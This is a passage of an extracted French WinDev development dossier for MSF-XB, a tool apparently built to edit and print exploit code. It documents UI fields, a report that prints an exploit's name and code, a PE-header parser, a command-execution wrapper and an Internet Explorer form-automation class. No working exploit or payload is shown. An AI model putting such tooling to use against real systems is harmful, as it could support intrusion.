Page 1004: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1010

Accueil Image

Page 1005: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1011

Accueil Informations générales

Accueil

Fichier physique G:\Mes Projets\MSF-XB11\Accueil.WWHLibellé

Note FRGB

Titre FRGB

Fichier parcouruRub. parcourueTitre note FR

GBCurseur survol 31004Mots clés FR

GBDescription de la page FR

GBDestination _selfHTML en-têteImageLiens soul. / survol NonCentrer les champs OuiFixer champs NonSynchronisation ActiverTexte alt. FR

GBPas de génération NonImage fixe NonRubrique id. pageOptimisation HTML 0Accès par SiteDynamiqueAffiche() NonOrdre de navigation OuiCtx. HF indép. NonChamp utilisé comme jauge AjaxJauge automatique Ajax Position fixePas de réferencement OuiRafraîchissement de la page <non défini>Priorité de référencement moyenneGadget Vista NonType Gadget Page Principale

Page 1006: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1012

Génération adaptée BlackBerry NonGénération adaptée Safari Non

Accueil Informations sur les champs

BgAcc01

Libellé FRGB

Note FRGB

Hauteur 533Largeur 474Etat ActifValeur init. FR C:\Mes Projets\MSF-XB11\BgAcc01.gif

GB C:\Mes Projets\MSF-XB11\BgAcc01.gifVisible OuiLiaison Hyper FileTitre note FR

GBGroupeImageCurseur survol 31004HTML avantHTML aprèsDestinationStyle Verdana 9Superposable OuiLettre appel <Aucun>Bulle FR

GBTexte alt. FR

GBEpaisseur 0Marge horz. 0Marge vert. 0Page action

Page 1007: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1013

Url actionSynchronisation ActiverMode StatiqueMode affichage 100%Transparence Magenta transparentImage externe NonProtection de l'image OuiDéplacement par le fond NonMémoriser la position NonDébordement VisibleEpaisseur gauche 0Epaisseur droite 0Epaisseur haut 0Epaisseur bas 0Image fond FR

GBMode image fond <Non défini>Style bord gauche PleinStyle bord droit PleinStyle bord haut PleinStyle bord bas PleinPosition fixe image fond <Non défini>Position horizontale image fond <Non défini>Position verticale image fond <Non défini>Cadrage Horz. <Non défini>Cadrage Vert. <Non défini>Position X 323Position Y 26Infos Partagées Synchro Non

Page 1008: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1014

BTN_GO

Libellé FR EntrerGB Enter

Note FRGB

Hauteur 29Largeur 69Etat ActifVisible OuiLiaison Hyper FileTitre note FR

GBGroupeCurseur survol 31004HTML avantHTML aprèsDestinationStyleSuperposable NonMode AutomatiqueMessage FR

GBBulle FR

GBOrdre navigation 1Touche TAB OuiPage actionUrl actionOpération champs AucuneSynchronisation ActiverAnti répétition Non..Valeur=..URL NonLettre appel OuiPréfixe avec le protocole NonDébordement VisibleEpaisseur gauche 0Epaisseur droite 0Epaisseur haut 0Epaisseur bas 0Image fond FR

GBMode image fond <Non défini>Style bord gauche PleinStyle bord droit Plein

Page 1009: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1015

Style bord haut PleinStyle bord bas PleinPosition fixe image fond <Non défini>Position horizontale image fond <Non défini>Position verticale image fond <Non défini>Cadrage Horz. <Non défini>Cadrage Vert. <Non défini>Position X 533Position Y 323Infos Partagées Synchro Non

LibProjet

Libellé FR MSF-XBGB MSF-XB

Note FRGB

Hauteur 38Largeur 141Etat ActifVisible OuiLiaison Hyper FileTitre note FR

GBGroupeCurseur survol 31004HTML avantHTML aprèsUnicode NonStyleSuperposable NonMode AutomatiqueAncre NonParagraphe <Aucun>Mise en forme log. <Aucun>Déplacement par le fond NonMémoriser la position NonDébordement VisibleEpaisseur gauche 0Epaisseur droite 0Epaisseur haut 0Epaisseur bas 0

Page 1010: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1016

Image fond FRGB

Mode image fond <Non défini>Style bord gauche PleinStyle bord droit PleinStyle bord haut PleinStyle bord bas PleinPosition fixe image fond <Non défini>Position horizontale image fond <Non défini>Position verticale image fond <Non défini>Cadrage Horz. <Non défini>Cadrage Vert. <Non défini>Position X 19Position Y 62Infos Partagées Synchro Non

FR

Libellé FRGB

Note FRGB

Hauteur 83Largeur 82Etat ActifValeur init. FR C:\Mes Projets\MSF-XB11\FlagFR.gif

GB C:\Mes Projets\MSF-XB11\FlagFR.gifVisible OuiLiaison Hyper FileTitre note FR

GBGroupeImageCurseur survol 31004HTML avantHTML aprèsDestinationStyleSuperposable NonLettre appel <Aucun>Bulle FR

GB

Page 1011: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1017

Texte alt. FRGB

Epaisseur 0Marge horz. 0Marge vert. 0Page actionUrl actionSynchronisation ActiverMode StatiqueMode affichage EtiréTransparence Magenta transparentImage externe NonProtection de l'image OuiDéplacement par le fond NonMémoriser la position NonDébordement VisibleEpaisseur gauche 0Epaisseur droite 0Epaisseur haut 0Epaisseur bas 0Image fond FR

GBMode image fond <Non défini>Style bord gauche PleinStyle bord droit PleinStyle bord haut PleinStyle bord bas PleinPosition fixe image fond <Non défini>Position horizontale image fond <Non défini>Position verticale image fond <Non défini>Cadrage Horz. <Non défini>Cadrage Vert. <Non défini>Position X 335Position Y 458Infos Partagées Synchro Non

Page 1012: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1018

US

Libellé FRGB

Note FRGB

Hauteur 77Largeur 75Etat ActifValeur init. FR C:\Mes Projets\MSF-XB11\FlagUS.gif

GB C:\Mes Projets\MSF-XB11\FlagUS.gifVisible OuiLiaison Hyper FileTitre note FR

GBGroupeImageCurseur survol 31004HTML avantHTML aprèsDestinationStyleSuperposable NonLettre appel <Aucun>Bulle FR

GBTexte alt. FR

GBEpaisseur 0Marge horz. 0Marge vert. 0Page actionUrl actionSynchronisation ActiverMode StatiqueMode affichage EtiréTransparence Magenta transparentImage externe NonProtection de l'image OuiDéplacement par le fond NonMémoriser la position NonDébordement VisibleEpaisseur gauche 0Epaisseur droite 0Epaisseur haut 0

Page 1013: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1019

Epaisseur bas 0Image fond FR

GBMode image fond <Non défini>Style bord gauche PleinStyle bord droit PleinStyle bord haut PleinStyle bord bas PleinPosition fixe image fond <Non défini>Position horizontale image fond <Non défini>Position verticale image fond <Non défini>Cadrage Horz. <Non défini>Cadrage Vert. <Non défini>Position X 633Position Y 472Infos Partagées Synchro Non

Flash1

Libellé FRGB

Note FRGB

Hauteur 180Largeur 400Valeur init. C:\Mes Projets\MSF-XB11\MSF-XB_WEB\FadeinrotateBW02.swfVisible OuiTitre note FR

GBGroupeHTML avantHTML aprèsSuperposable OuiMode AutomatiqueOptions 22Qualité Elevée automatiqueEchelle <Défaut>Mode fenêtre FenêtreAlign. horz. CentreAlign. vert. CentreAccès en Javascript NonPosition X 30

Page 1014: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB PagePartie 5

26/10/2008 1020

Position Y 245

Page 1015: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 5

26/10/2008 1021

Accueil Code

Chargement (onload) de Accueil// lancement automatique du site au bout de 5 secondesGLOBAL

gnTimer est un entiergnTimer = Timer("Lancement",500)

Page 1016: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 5

26/10/2008 1022

Accueil Code des champs

Clic (onclick) de BTN_GOFinTimer(gnTimer)

Clic (onclick) de FRNation(5)Exécute("BTN_GO..Cli")

Clic (onclick) de USNation(3)Exécute("BTN_GO..Cli")

Page 1017: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 5

26/10/2008 1023

Accueil Procédures

Procédure locale LancementPROCEDURE Lancement()ExécuteTraitement(BTN_GO,trtClic)

Page 1018: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB EtatPartie 6

26/10/2008 1024

Partie 6Etat

Page 1019: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB EtatPartie 6

26/10/2008 1025

ETAT_EXPLOIT_CODE Image

ETAT_EXPLOIT_CODE Informations générales

ETAT_EXPLOIT_CODE Exploit Code

Page 1020: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB EtatPartie 6

26/10/2008 1026

Nom logique de l'état ETAT_EXPLOIT_CODE

Nom physique de l'état G:\Mes Projets\MSF-XB11\ETAT_EXPLOIT_CODE.wde

Type Libre

Gabarit 80 Salamander

Type de source de données Pas de source de données

Nom de la source

Format de la page A4 210 x 297 mm

Marge haute (mm) 20.00 Marge basse (mm) 20.00

Marge gauche (mm) 20.00 Marge droite (mm) 20.00

ETAT_EXPLOIT_CODE Informations sur les champs

Type X Y Hauteur Largeur Ta Vi Sé Au Ca Epais.* Trait Position

NOM_EXPLOIT Libellé 0.11 0.00 7.14 169.60

EXPLOIT_CODE Rubrique 0.00 0.00 9.79 169.71

DEF_PREDEFINI1 Prédéfini 0.00 3.18 6.09 16.51

DEF_PREDEFINI2 Prédéfini 16.51 3.18 6.09 11.11

DEF_PREDEFINI3 Prédéfini 137.99 3.18 6.09 32.01

LIB_LIBELLE1 Libellé 37.49 3.18 6.09 95.03

Tableau: Champ d'un tableau Auto.Ext*: Auto extensible

Epais.*: Epaisseur du cadre (mm)

Page 1021: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 6

26/10/2008 1027

ETAT_EXPLOIT_CODE Code

Ouverture de ETAT_EXPLOIT_CODENOM_EXPLOIT=MSFXB_Editor.NOM

EXPLOIT_CODE=MSFXB_Editor.EXPLOIT_CODE

Page 1022: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ClassePartie 7

26/10/2008 1028

Partie 7Classe

Page 1023: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ClassePartie 7

26/10/2008 1029

C_cPE Code

Déclaration de C_cPEC_cPE est une classe

m_EntryPoint est un entier sans signe sur 4 octetsm_NbrSection est un entierm_ImageBase est un entier sans signe sur 4 octetsm_AlignementSection est un entier sans signe sur 4 octetsm_AlignementFichier est un entier sans signe sur 4 octetsm_ImageSize est un entier sans signe sur 4 octetsm_BaseOfCode est un entier sans signe sur 4 octets //SizeOfHeaders ?m_pDH est un IMAGE_DOS_HEADERm_pNTH est un IMAGE_NT_HEADERS

FIN

ConstructeurPROCEDURE Constructeur()

:m_EntryPoint = 0:m_NbrSection = 0:m_ImageBase = 0:m_AlignementSection = 0:m_AlignementFichier = 0:m_ImageSize = 0

DestructeurPROCEDURE Destructeur()

Méthode getBaseOfCode

Page 1024: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ClassePartie 7

26/10/2008 1030

// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] getBaseOfCode ()//// Paramètres :// Aucun// Valeur de retour :// entier sans signe sur 4 octets : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE getBaseOfCode()

RENVOYER :m_BaseOfCode

Méthode getEntryPoint// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] getEntryPoint ()//// Paramètres :// Aucun// Valeur de retour :// entier sans signe sur 4 octets : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE getEntryPoint()

RENVOYER :m_EntryPoint

Méthode getFileAlignment// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] getFileAlignment ()//// Paramètres :// Aucun// Valeur de retour :// entier sans signe sur 4 octets : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.

Page 1025: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ClassePartie 7

26/10/2008 1031

//PROCEDURE getFileAlignment()

RENVOYER :m_AlignementFichier

Méthode getImageBase// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] getImageBase ()//// Paramètres :// Aucun// Valeur de retour :// entier sans signe sur 4 octets : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE getImageBase()

RENVOYER :m_ImageBase

Méthode getImageSize// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] getImageSize ()//// Paramètres :// Aucun// Valeur de retour :// entier sans signe sur 4 octets : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE getImageSize()

RENVOYER :m_ImageSize

Méthode getInfoPE// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] getInfoPE ( [<VL_FileName> est chaîne])//

Page 1026: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ClassePartie 7

26/10/2008 1032

// Paramètres :// VL_FileName (chaîne) : <indiquez ici le rôle de VL_FileName>// Valeur de retour :// booléen : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// VL_FileName (chaîne) : <indiquez ici le rôle de VL_FileName>// VL_hFile (entier sans signe sur 4 octets - valeur par défaut=0) : <indiquez ici le rôle de VL_hFile>PROCEDURE getInfoPE(VL_FileName est une chaîne="")

VL_hFile est un entier = 0VL_hMapping est un entier = 0VL_pFile est un entier système= 0

vl_hfile = API ("KERNEL32","CreateFileA",VL_FileName,GENERIC_READ,FILE_SHARE_READ,Null,OPEN_EXISTING,Null,Null)SI VL_hFile=Null ALORS

Erreur ("Impossible d'ouvir le fichier","",ErreurInfo())RENVOYER Faux

FIN//PAGE_READWRITEVL_hMapping = API ("KERNEL32","CreateFileMappingA",VL_hFile,Null, OUBinaire (PAGE_READONLY,SEC_IMAGE),Null,Null,Null)SI VL_hMapping=Null ALORS

Erreur ("CreateFileMapping erreur","",ErreurInfo())RENVOYER Faux

FIN

VL_pFile = API ("KERNEL32","MapViewOfFile",VL_hMapping,FILE_MAP_READ, Null,Null,Null)SI VL_pFile=Null ALORS

Erreur ("MapViewOfFileA erreur","",ErreurInfo())RENVOYER Faux

FIN

Transfert (&:m_pDH,VL_pFile,Dimension (:m_pDH))SI (:m_pDH:e_magic <> IMAGE_DOS_SIGNATURE) ALORS

Erreur ("Le fichier n'est pas au format Portable Executable")RENVOYER Faux

FIN

Transfert(&:m_pNTH,VL_pFile+:m_pDH:e_lfanew,Dimension(:m_pNTH))SI (:m_pNTH:Signature <> IMAGE_NT_SIGNATURE) ALORS

Erreur ("Le fichier n'est pas au format Portable Executable")RENVOYER Faux

FIN

// On store les Valeurs de l exe

Page 1027: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ClassePartie 7

26/10/2008 1033

:m_EntryPoint = :m_pNTH:OptionalHeader:AddressOfEntryPoint:m_NbrSection = :m_pNTH:FileHeader:NumberOfSections:m_ImageBase = :m_pNTH:OptionalHeader:ImageBase:m_AlignementSection = :m_pNTH:OptionalHeader:SectionAlignment:m_AlignementFichier = :m_pNTH:OptionalHeader:FileAlignment:m_ImageSize = :m_pNTH:OptionalHeader:SizeOfImage:m_BaseOfCode = :m_pNTH:OptionalHeader:BaseOfCode

API ("KERNEL32","UnmapViewOfFile",VL_pFile)API ("KERNEL32","CloseHandle",VL_hMapping)API ("KERNEL32","CloseHandle",vl_hfile)

RENVOYER Vrai

Méthode getNumberOfSections// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] getNumberOfSections ()//// Paramètres :// Aucun// Valeur de retour :// entier : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE getNumberOfSections()

RENVOYER :m_NbrSection

Méthode getSectionAlignment// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] getSectionAlignment ()//// Paramètres :// Aucun// Valeur de retour :// entier sans signe sur 4 octets : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//

Page 1028: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ClassePartie 7

26/10/2008 1034

PROCEDURE getSectionAlignment()

RENVOYER :m_AlignementSection

Page 1029: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ClassePartie 7

26/10/2008 1035

WDDos Messages multilangues

N° Message

5000 FR: Fichier ou commande non trouvé.GB: File or command not found.

N° mess.: numéro de message.

Page 1030: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1036

WDDos Code

Déclaration de WDDos//Structure utilisée par l'API CreateProcessASECURITY_ATTRIBUTES est une structure

nLength est un entierlpSecurityDescriptor est un entierbInheritHandle est un booléen

FIN

//Structure utilisée par l'API CreateProcessASTARTUPINFO est une structure

cb est un entierlpReserved est un entierlpDesktop est un entierlpTitle est un entierdwX est un entierdwY est un entierdwXSize est un entierdwYSize est un entierdwXCountChars est un entierdwYCountChars est un entierdwFillAttribute est un entierdwFlags est un entierwShowWindow est un entier sur 2 octetscbReserved2 est un entier sur 2 octetslpReserved2 est un entierhStdInput est un entierhStdOutput est un entierhStdError est un entier

FIN

//Structure utilisée par l'API CreateProcessAPROCESS_INFORMATION est une structure

hProcess est un entierhThread est un entierdwProcessID est un entierdwThreadID est un entier

FIN

Page 1031: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1037

WDDos est une classePRIVÉ

mCommand est une chaîne //Variable privée contenant la ligne de commandemOutputs est une chaîne //Variable privée pour la lecture du texte renvoiéProcI est un PROCESS_INFORMATION //Process utiliséHLecturePipe est un entier sur 2 octets //Handle de lecture du "pipe"HEcriturePipe est un entier sur 2 octets //Handle d'écriture du "pipe"

CONSTANTE//Constantes utilisée pour les APINORMAL_PRIORITY_CLASS = 32STARTF_USESTDHANDLES = 256STARTF_USESHOWWINDOW = 1

FIN

FIN

Méthode ClosedCommandPROCEDURE PRIVÉE ClosedCommand()//Variable contenant le résultat des fonction APInResultat est un entier système

//Force la fermeture du process en coursAPI("Kernel32","TerminateProcess",&:ProcI:hProcess, 0)//Fermeture de tous les HandlesnResultat = API("Kernel32","CloseHandle",&:ProcI:hProcess)nResultat = API("Kernel32","CloseHandle",&:ProcI:hThread)nResultat = API("Kernel32","CloseHandle",&:HLecturePipe)

Méthode CommandLine_GetPROCEDURE CommandLine_Get()RENVOYER :mCommand

Méthode CommandLine_LetPROCEDURE CommandLine_Let(pDOSCommand est une chaîne)//------------------------------------------------------------// Propriété publique qui permet de passer ou de lire la ligne// de commande passer au module

Page 1032: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1038

//------------------------------------------------------------:mCommand = pDOSCommand

ConstructeurPROCEDURE Constructeur()

Méthode CopyPROCEDURE Copy(pObjet)//pObjet:mCommand //pObjet:mOutputs

DestructeurPROCEDURE Destructeur()

Méthode ExecuteCommandPROCEDURE ExecuteCommand()//------------------------------------------------------------// Fonction publique qui lance l'éxécution de la ligne de commande//------------------------------------------------------------//Variable contenant le résultat des fonction APIResultat est un entier système//Variable Structure utilisée par l'API CreateProcessAStart est un STARTUPINFO//Variable Structure utilisée par l'API CreateProcessASa est un SECURITY_ATTRIBUTES//Variable contenant le nombre d'octet lus dans le "pipe"LngOctetRec est un entier//Variable buffer de lecture du "pipe"strBuff est une chaîne ASCIIZ sur 255

//Ca c'est pour les couillons qui oublis de donner//la commande avant de lancer l'exécution....SI Taille(:mCommand) = 0 ALORS

Erreur("La commande à lancer n'a pas été renseignée!!!")

Page 1033: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1039

RENVOYER ""FIN

//Renseignement de la structure SECURITY_ATTRIBUTESSa:nLength = Dimension(Sa)Sa:bInheritHandle = 1Sa:lpSecurityDescriptor = 0

//Création du "Pipe" et Test du résultat//if CreatePipe(HLecturePipe, HEcriturePipe, Sa, 0) = 0 ThenSI PAS API("kernel32","CreatePipe",&:HLecturePipe,&:HEcriturePipe,&sa,0) ALORS

//Si une erreurErreur("Erreur de création du Pipe. Erreur: " + ErreurInfo())RENVOYER ""

FIN

//Renseignement de la structure STARTUPINFOStart:cb = Dimension(Start)Start:dwFlags = ::STARTF_USESTDHANDLES + ::STARTF_USESHOWWINDOWStart:hStdOutput = :HEcriturePipeStart:hStdError = :HEcriturePipe

//Création du process = Exécution de la commandeSI API("kernel32","CreateProcessA",0,&:mCommand,&sa,&sa,1,::NORMAL_PRIORITY_CLASS,0,0,&start,&:ProcI) <> 1 ALORS

// Si une erreur, fermeture des HandlesResultat = API("kernel32","CloseHandle",:HLecturePipe)Resultat = API("Kernel32","CloseHandle",:HEcriturePipe)Erreur("Fichier ou commande non trouvé."+RC+:mCommand)RENVOYER ""

FIN

//Fermeture du "pipe" de sortieResultat = API("Kernel32","CloseHandle",:HEcriturePipe):mOutputs = ""lngBuff est un entier//Lecture du "pipe" en lecture pour récupérer les infos !BOUCLE

Resultat = API("Kernel32","ReadFile",:HLecturePipe, &strBuff, 256, &LngOctetRec, 0):mOutputs += Gauche(strBuff, LngOctetRec)

QUAND EXCEPTION DANS//Envoie les données au programme via l'événementExécuteTraitement("WDDOS_ReceiveOutputs",trtProcédure,Gauche(strBuff,LngOctetRec))

FAIRE

FIN

Page 1034: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1040

Multitâche(-1)SI Resultat = 0 ALORS SORTIR

FIN

//Fermeture de tous les HandlesResultat = API("Kernel32","CloseHandle",:ProcI:hProcess)Resultat = API("Kernel32","CloseHandle",:ProcI:hThread)Resultat = API("Kernel32","CloseHandle",:HLecturePipe)

//Renvoie du résultatRENVOYER(:mOutputs)

Méthode OutPuts//------------------------------------------------------------// Propriété publique qui permet de lire la totalité des données// reçues après l'exécution//------------------------------------------------------------PROCEDURE OutPuts()RENVOYER :mOutputs

Page 1035: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ClassePartie 7

26/10/2008 1041

CiExplore Messages multilangues

N° Message

5000 FR: Le document n'est pas accessible.GB:

5001 FR: Indice hors borne.GB:

5002 FR: Il y a plusieurs formulaires dans cette page.GB:

5003 FR: Il n'est pas possible de déterminer automatiquement sur quel formulaire faire le SUBMIT.GB:

5004 FR: Mot clé inconnu.GB:

5005 FR: Cette application nécessite Internet Explorer 4 minimumGB:

5006 FR: L'ActiveX Internet Explorer n'a pas pu être chargé.GB:

N° mess.: numéro de message.

Page 1036: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1042

CiExplore Code

Déclaration de CiExplore// Classe de pilotage de Internet Explorer

CiExplore est une classem_sActiveX est une chaîne // Nom de l'ActiveX contenant l'explorateurm_pActiveX est un objet OLE dynamique // ActiveX contenant l'explorateur

m_pCollectionInput est un objet OLE dynamique // Collection d'objets de type Inputm_nNbInput est un entier // Nombre d'objets de la collection

m_pCollectionSelect est un objet OLE dynamique // Collection d'objets de type Selectm_nNbSelect est un entier // Nombre d'objets de la collection

m_pCollectionTextArea est un objet OLE dynamique// Collection d'objets de type TextAream_nNbTextArea est un entier // Nombre d'objets de la collection

m_pDisp est un objet OLE dynamique

m_bCharge est un booléenm_sTexte est une chaînem_sNomTag est une chaînem_sType est une chaînem_sNom est une chaînem_sValeur est une chaînem_nHauteur est un entierm_nLargeur est un entierm_nX est un entierm_nY est un entierm_nOccurrence est un entier

FIN

Méthode bRechercheChampParLibelléPROCEDURE bRechercheChampParLibellé(psMotClé)

Page 1037: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1043

// Recherche d'un champ formulaire dont le libellé correspond à <psMotClé>

// Vérification du mot cléSI Position("civilite nom prenom societe fonction pseudo adresse1 adresse2 ville departement pays batiment codepostal etage email telephoneperso telephonepro fax datenaissance age mdp", psMotClé, 0, MotComplet+SansCasse)=0 ALORS

Erreur("Mot clé inconnu.")RENVOYER Faux

FIN

// pour chaque objeti est un entierPOUR i=1 A :nObjetsFormulaire()

// Sélection de l'objet:bSelectionneObjet(i)// Si l'objet correspond au type demandéSI :sRechercherubrique(:m_sTexte)~=psMotClé ALORS

RENVOYER VraiFIN

FIN

// Aucun objet trouvéRENVOYER Faux

Méthode bRechercheChampParNomPROCEDURE bRechercheChampParNom(psNom)// Recherche d'un champ formulaire dont le nom correspond à <psNom>

// pour chaque objeti est un entiernNbObjets est un entier

nNbObjets = :nObjetsFormulaire()

POUR i=1 A nNbObjets// Sélection de l'objet:bSelectionneObjet(i)

// Si l'objet a le nom requisSI :m_sNom~=psNom ALORS

RENVOYER VraiFIN

FIN

Page 1038: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1044

// Aucun objet trouvéRENVOYER Faux

Méthode bSelectionneObjetPROCEDURE bSelectionneObjet(pnI)// En fonction de l'indice, il s'agit soit d'un objet INPUT soit d'un objet SELECT

// Si l'indice dépasse les bornesSI pni > (:m_nNbSelect+:m_nNbInput+:m_nnbtextarea) ALORS

:raz()RENVOYER Faux

FIN

// Si l'indice correspond à un objet INPUTSI 0 < pni <= :m_nNbInput ALORS

// Selectionne l'objet:m_pDisp = :m_pCollectionInput>>item(pni-1)

FIN

// Si l'indice correspond à un objet SELECTSI :m_nNbInput < pni <= :m_nNbSelect+:m_nNbInput ALORS

// Selectionne l'objet:m_pDisp = :m_pCollectionSelect>>item(pni-:m_nNbinput-1)

FIN

